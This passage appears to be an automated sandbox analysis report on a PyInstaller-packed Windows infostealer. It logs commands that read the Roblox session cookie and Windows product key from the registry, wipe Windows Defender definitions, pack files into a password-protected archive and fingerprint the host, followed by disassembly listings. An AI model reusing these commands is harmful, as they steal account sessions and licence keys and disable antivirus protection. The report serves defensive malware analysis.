Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	04:44:16
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	04:44:16
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	04:44:16
Start date:	15/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	04:44:18
Start date:	15/11/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff61f730000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	04:44:24
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	04:44:24
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	04:44:24
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *
Imagebase:	0x7ff702c00000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	04:44:26
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	04:44:26
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	04:44:26
Start date:	15/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff7374d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	04:44:27
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	04:44:27
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	04:44:27
Start date:	15/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff7374d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	04:44:28
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	04:44:28
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	04:44:28
Start date:	15/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff7374d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	04:44:29
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	04:44:29
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	04:44:29
Start date:	15/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	04:44:31
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	04:44:31
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	04:44:31
Start date:	15/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff7374d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	04:44:32
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	04:44:32
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	04:44:32
Start date:	15/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 00007FF633D689E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF633D69390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF633D645F4,00000000,00007FF633D61985), ref: 00007FF633D693C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68A56

Part of subcall function 00007FF633D7A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7A490

Part of subcall function 00007FF633D7871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D78783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68AE6
CreateProcessW.KERNELBASE ref: 00007FF633D68B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68B28

Part of subcall function 00007FF633D62C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62C9E
Part of subcall function 00007FF633D62C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62D63
Part of subcall function 00007FF633D62C50: MessageBoxW.USER32 ref: 00007FF633D62D99

RegisterClassW.USER32 ref: 00007FF633D68B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68B8B
CreateWindowExW.USER32 ref: 00007FF633D68BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C15
PeekMessageW.USER32 ref: 00007FF633D68C39
TranslateMessage.USER32 ref: 00007FF633D68C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C51
PeekMessageW.USER32 ref: 00007FF633D68C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68E04
GetExitCodeProcess.KERNELBASE ref: 00007FF633D68E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF633D63F77), ref: 00007FF633D68E2F

Strings

CreateProcessW, xrefs: 00007FF633D68B37
Failed to create child process!, xrefs: 00007FF633D68B30
PyInstallerOnefileHiddenWindow, xrefs: 00007FF633D68B54
PyInstaller Onefile Hidden Window, xrefs: 00007FF633D68B95

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 8cf410ab41b0fa40752e760cc4270562d31a1d9cbf9cda09278e672fccba3f4d
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: C9D1A832A08B8286E7108FB4E8562AD3764FF84B58F401335DA6EA7BA5DF3CE155D700

Function 00007FF633D61000 Relevance: 60.0, APIs: 6, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to start splash screen!, xrefs: 00007FF633D63ECC
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF633D63971
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF633D63C61
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF633D63E02
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF633D63B32
pyi-python-flag, xrefs: 00007FF633D63AD6
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF633D63A0B, 00007FF633D63CD4, 00007FF633D63F63
Failed to load splash screen resources!, xrefs: 00007FF633D63E7D
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF633D63D35
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF633D639DE
_PYI_SPLASH_IPC, xrefs: 00007FF633D63A23, 00007FF633D63EED
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF633D63D12
VCRUNTIME140.dll, xrefs: 00007FF633D63DA9
MEI, xrefs: 00007FF633D63933
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF633D63882, 00007FF633D638AF
Failed to remove temporary directory: %s, xrefs: 00007FF633D63FC7
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF633D63A17, 00007FF633D63A2F, 00007FF633D63A9B
Failed to convert DLL search path!, xrefs: 00007FF633D63DD4
_PYI_ARCHIVE_FILE, xrefs: 00007FF633D638D2, 00007FF633D639FF
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF633D63BE8
pkg, xrefs: 00007FF633D639BE
Py_GIL_DISABLED, xrefs: 00007FF633D63AF4
bye-runtime-tmpdir, xrefs: 00007FF633D63B68
Could not create temporary directory!, xrefs: 00007FF633D63CBF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF633D63EB3
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF633D63E9E
pyi-contents-directory, xrefs: 00007FF633D63B8D
pyi-disable-windowed-traceback, xrefs: 00007FF633D63BB2

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 27943e01e1a6207795b46aedf17b893e8f8e32d3898c7290fa00b00b011f2019
Instruction ID: 0eb346d6c770e15e92253ca69477e5e7d831923dfad77cb800914853cad8e879
Opcode Fuzzy Hash: 27943e01e1a6207795b46aedf17b893e8f8e32d3898c7290fa00b00b011f2019
Instruction Fuzzy Hash: 0432AC21A0C68291FB15DBA494573B973A1AF44780FC44236DA6DE77E6EF2CF558E300

Function 00007FF633D86964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF633D86698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D866D9
Part of subcall function 00007FF633D86698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D86757
Part of subcall function 00007FF633D86698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D867A8

CreateFileW.KERNELBASE ref: 00007FF633D86A6A
CreateFileW.KERNEL32 ref: 00007FF633D86ABA
GetLastError.KERNEL32 ref: 00007FF633D86AEA
GetFileType.KERNELBASE ref: 00007FF633D86AFF
GetLastError.KERNEL32 ref: 00007FF633D86B09
CloseHandle.KERNEL32 ref: 00007FF633D86B3C
CloseHandle.KERNEL32 ref: 00007FF633D86C9F
CreateFileW.KERNEL32 ref: 00007FF633D86CD4
GetLastError.KERNEL32 ref: 00007FF633D86CE3

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: 89c632f8cecc42cd5d3a3afa7ff96505a68fc3a8e9bccf3b8a24fbe497977bd1
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 14C1AF36B28A4585EB11CFA9C4926AC3761FB49BA8B015335DF2EAB7D4DF38E055D300

Function 00007FF633D683C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D6842B
RemoveDirectoryW.KERNEL32(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684AE
DeleteFileW.KERNELBASE(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684CD
FindNextFileW.KERNELBASE(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684DB
FindClose.KERNEL32(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684EC
RemoveDirectoryW.KERNELBASE(?,00007FF633D68919,00007FF633D63F9D), ref: 00007FF633D684F5

Strings

%s\*, xrefs: 00007FF633D683F2

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 3d6ec63bfd8af715c8e5da51951a36cb782d4503c1980f80a6f345d69cf020b1
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: B1417331A0C98285EA309BA4E4565BA7361FB94755FC00332DAAEE77D8EF3CE549D700

Function 00007FF633D69280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF633D692B3
FindClose.KERNELBASE ref: 00007FF633D692C2

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: c398fd0573cd36a510ed8dd3cff5e559f13ae2d8f5793ff5aa1c63212eee7f96
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 75F0C832A1874186F7A08FA0B49A7667350BB84328F840335D97F567D4DF3CD058DB00

Function 00007FF633D61950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF633D67F90: _fread_nolock.LIBCMT ref: 00007FF633D6803A

_fread_nolock.LIBCMT ref: 00007FF633D61A1B

Part of subcall function 00007FF633D62910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF633D61B6A), ref: 00007FF633D6295E

Strings

Failed to seek to cookie position!, xrefs: 00007FF633D619EE
Could not allocate memory for archive structure!, xrefs: 00007FF633D61A61
Could not allocate buffer for TOC!, xrefs: 00007FF633D61B1B
Could not read full TOC!, xrefs: 00007FF633D61B55
MEI, xrefs: 00007FF633D61991
Error on file., xrefs: 00007FF633D61B8D
calloc, xrefs: 00007FF633D61A68
Failed to read cookie!, xrefs: 00007FF633D61A2B
fseek, xrefs: 00007FF633D619F5
fread, xrefs: 00007FF633D61A32, 00007FF633D61B5C
malloc, xrefs: 00007FF633D61B22

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
